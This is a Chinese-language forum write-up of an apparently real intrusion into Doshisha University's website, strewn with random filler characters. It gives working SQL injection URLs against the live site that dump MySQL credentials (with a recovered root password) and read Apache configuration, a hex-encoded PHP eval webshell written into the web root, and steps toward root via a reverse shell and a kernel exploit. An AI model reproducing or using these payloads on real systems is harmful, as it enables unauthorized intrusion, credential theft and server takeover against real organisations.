入侵日本同志社大学技术分析
" i W( ~1 L' V7 s3 V, Q4 E& H- W @
http://www.doshisha.ac.jp/chs/news/index.php?i=-1" q0 e/ h9 J& C8 @& B- [
然后联合查询,猜字段,查版本,查密码,读取文件…….就是各种查啊,语句是:
, F) t& M! @- Q
' Y' m' d% m$ Z0 B2 J' Fhttp://www.doshisha.ac.jp/chs/news/index.php?i=-1+union+select+1,@@datadir,3,load_file(‘/etc/httpd/conf/httpd.conf’),5,group_concat(DISTINCT+user,0x3a,password,0x3a,file_priv,0x3a,host),7,8+from+mysql.user
; Z @. u( z, v2 ?" B( c( c. o& X0 Z, ?
6 o. r" g1 n6 K- W! K9 H. j
' z# j- Q7 H2 T9 E& m% E
//@@datadir为数据库文件路径 ; I% j: M9 `) m; I a. R' u7 _
9 m: t2 }7 L6 w; T( @. V9 |# D& Q1 J
//load_file读取网站容器apache的配置文件 , q2 t% Z0 x ]7 \: w5 k* Z
! `+ N% @+ |: f6 n0 |3 p( ^& J" q$ A1 [& d" I8 f
//group_concat读取MySQL管理员的名字、密码、是否允许读写文件和允许登录的远程计算机 + `8 M/ `: r2 P C
复制代码1 k6 _+ U! s1 r9 |% @" m2 i5 i$ Y
0 l! S2 J# C& `2 z0 w, Y3 R: c虽然解得MySQL的root账户密码为mysql00,但是host为localhost,只允许本机登陆,所以用处不大。
( S' e/ A8 J7 f# q5 a2 H$ D
2 [% s/ m7 ~. _* e而且Apache的配置文件显示,服务器拒绝非该大学的ip访问/admin/和phpMyAdmin,所以即使爆出管理员账户密码也没用。- ~) g* n& B7 {8 @8 H
(大家对以上各种查和语句不太懂的可以参考以下文章:http://bbs.blackbap.org/thread-2243-1-1.html)
9 W2 e7 k: N; V% t" W, R7 w
' a [9 r, e" Z& Q0 Q前面load_file是因为发现了各文件夹权限限制的死,不允许外校ip登陆,所以就猜了一下apache的配置文件绝对路径为默认,后来发现还真的是默认的路径。& n( B% O2 ?0 I9 C( V" g+ K8 K. Z, S
如果知道怎么猜apache配置文件的路径的请参考以下文章:http://bbs.blackbap.org/thread-2242-1-1.html
8 Q5 c& `& K3 j$ ^8 o5 V: i
F, z7 K, _0 u/ P( }既然已经知道了Apache的配置文件的内容,我们也就轻易知道了网站物理路径,路径为:/http/www/koho/, C4 `" F$ s9 o. a- y
虽然/admin和phpMyAdmin的目录都限制了,但是想了想,我们只要有注入点就可以可以写入shell了,因为php的GPC为off,怎么判断为off我就不说了。* h, E M+ s7 z8 A# x% U
直接写一句话: C2 c* |/ k, _: u
' }0 f: f( N% _, E- G3 lhttp://www.doshisha.ac.jp/chs/news/index.php?i=-1+union+select+ 0x3C3F70687020406576616C28245F504F53545B27636D64275D293B3F3E,0x3c3f2f2a,3,4,5,6,7,0x2a2f3f3e+into+outfile+’/http/www/koho/english/engnews_img/aa.php’#
+ v9 h _' \ H4 D0 E/ m5 ~- M. g
% d A% v: j) \4 j 9 u5 X8 K% G' V1 q
$ L5 p$ B! S U
//最后的#是为了闭合前面的语句 : ~& X3 E1 a% ^5 o
$ I) Y& s! [: f* u- O% u% C7 h' R
/*其中的0x3C3F70687020406576616C28245F504F53545B27636D64275D293B3F3E
0 d# f5 J. B$ V y; w* I2 t9 ?
4 W+ Q3 L) o' j1 D8 H: S4 b7 q
g) Z4 B6 N# b" F. Z/ y4 N3 _为一句话<?php @eval($_POST['cmd']);?>的HEX编码,不懂(HEX编码)的话Google一下就好*/
: ^" t( p1 o% s : ^3 n( i" E: ~5 u" ]# R
$ H, [ W8 i9 A1 p8 F+ k
//如果直接select 一句话 into outfile ‘路径’会提示字段数不同,所以select 1,2,3,4…来执行注入语句 \- |- |; S N9 _- R8 S2 n8 ?
7 ]! ^1 M& @7 g' s+ k, w
* n6 n- n/ Z/ E5 _" l0 y/ X
//后面的0x3c3f2f2a和0x2a2f3f3e分别为’<?php //’的和’?>’HEX因为select后面的3,4,5,6会被写入webshell中,可能会导致一句话执行错误
. t; D/ q" n9 D" @8 j' Z7 Q3 s% L0 ]//所以最后aa.php的内容就是”<?php @eval($_POST['cmd']);?><?php //3,4,5,6,7 ?>”
- O* F/ l" }- A% n复制代码 g, B, _( S+ |% W0 f! ]
( H% M; _: X2 ^% C9 b) PHEX其实就是十六进制编码,不知道这个编码的话,去搜一下好了,HEX编码转换在线本地各种工具各种有
! C6 ]. E% L1 o& W8 X& k* p通过上述注入语句,我们就得到了一句话木马:9 K3 o: ?3 ?0 p+ H0 f1 @% R
; B% U, ?1 W7 N* B
! N$ P! g. _# m6 C0 M3 @& T
9 Q s$ o0 ~7 ?0 |) Y
$ |% W1 A7 c( s% J. b
/ k& f" t6 p6 l, R% a1 e+ q' phttp://www.doshisha.ac.jp/english/engnews_img/aa.php
( k& ]1 i3 e$ `9 _& @* Y复制代码
( b5 K' [6 F- w$ q. G, K9 o8 A
# K" t3 c+ i/ k& J1 l用菜刀连接,密码是cmd,如图所示:
: o5 n U! V* J然后在命令提示行里看了一下,现在的权限是:; [ H, _- W/ ?& |
1 T8 f+ t1 g. C1 K) @8 H; B5 t7 b之后按照惯例我看了一下/tmp/文件夹,发现/TMP/权限居然被禁掉了,很少有服务器禁掉这个文件夹的。* N7 n7 d* x0 f5 a% x4 h( q
好在赋权给这个文件夹不需要root,直接执行赋权语句:
z7 A7 e1 I; }9 P* E' s, }: `: p! s7 m( z. F2 ^4 z3 @
5 X, }4 S9 R0 [! ~ E! ]: E3 g! F+ T6 X+ V* v4 O+ ^
8 t3 Z5 b q0 m8 b9 q
) q2 e* a3 ~6 l8 W2 y9 @8 N6 Y6 tchmod +x /tmp/ " v# F. D" z2 M. G. P; E
复制代码- X Z% M- i* U1 Z3 D
* B5 `# E; E' O" E- ^: _
在这说一下,linux里面的文件夹跟文件一样,执行命令自然也可以按照像文件一样的执行
7 }! @! y% m! W2 V, e1 m+ Y然后就查了一下内核版本:- A5 K) P- E4 s. u0 ]$ I6 d" v
/ P# V( h2 M7 O, v* b; Q$ h
" ?0 D1 k* A. X* t& n" P6 ?/ g+ P9 N3 x2 z* }4 n" ?
& T! }5 \4 W; ~2 T, u
% s5 b* a$ d( I6 j0 H+ cuname-a # N* D* M. y+ y" M3 ^" W$ ^% D
/ n/ J) [( D( U C! @7 j6 E
D$ R2 j# W/ p5 }$ k& _" v& b//其实lsb_release -a
! O& A3 V& ?- R1 v复制代码/ ^- E3 b" s# f: u# v; p
# P- n0 V4 n' y: Z如图所示:9 R! T D# `% _& b# F- I" z
6 v z7 A" Q5 l) P
内核版本:linux mainz1 2.6.28-194.e154 w, e0 E7 X) Z; w9 T( _3 B, }# a
系统描述为:Red Hat Enterprise Linux Server release 5.5 (Tikanga)" R5 Z, Z& O' X4 X% g2 H
查完了系统版本之后就去找找相应的提权脚本!~然后传到/tmp/文件夹% @9 s1 r5 g8 E: ?
( @9 f1 _7 H- t
然后给予执行权限
& H, }9 Y4 Z$ ]0 I+ m7 j* X3 }一般我都是传上去c源文件,然后”gcc -o /tmp/程序 /tmp/C源码”这样,如果gcc不能用,在其他机器编译好了直接传上去其实也可以,就像这样
' r+ Y9 k, ]# {5 | h/ U, j; }* F/ y7 K# P& |3 H0 C) Y1 L, w2 Y$ R/ j
/ L7 b& {! o% V/ {
) E- x2 N* R- [5 X7 H: [& D - p' p! |1 b+ b) z5 }( R
; ]" A2 q2 |- Z! O! u. W5 rchmod +x /tmp/2.6.18-194
% H! z5 B4 Z) g1 J复制代码 然后直接执行!~
& s- d2 x0 l3 ]+ ?! x0 s0 Q A$ e6 j
6 ]7 ?3 B3 q$ O9 W8 b4 z总结:
5 I% C9 o4 l* {这个注入点的基本思路就是,发现MySQL账户为root,GPC设置为off,搞到了物理路径就直接写Webshell了; G8 P8 b! @4 Q* ^7 p, ?
提权部分原理就是,本地监听端口,将对方机器反弹回cmdshell来,然后把和内核版本对应的EXP传上去,编译运行,得到root! ^" B+ d/ a; S2 n: h
# G f$ { _( D
|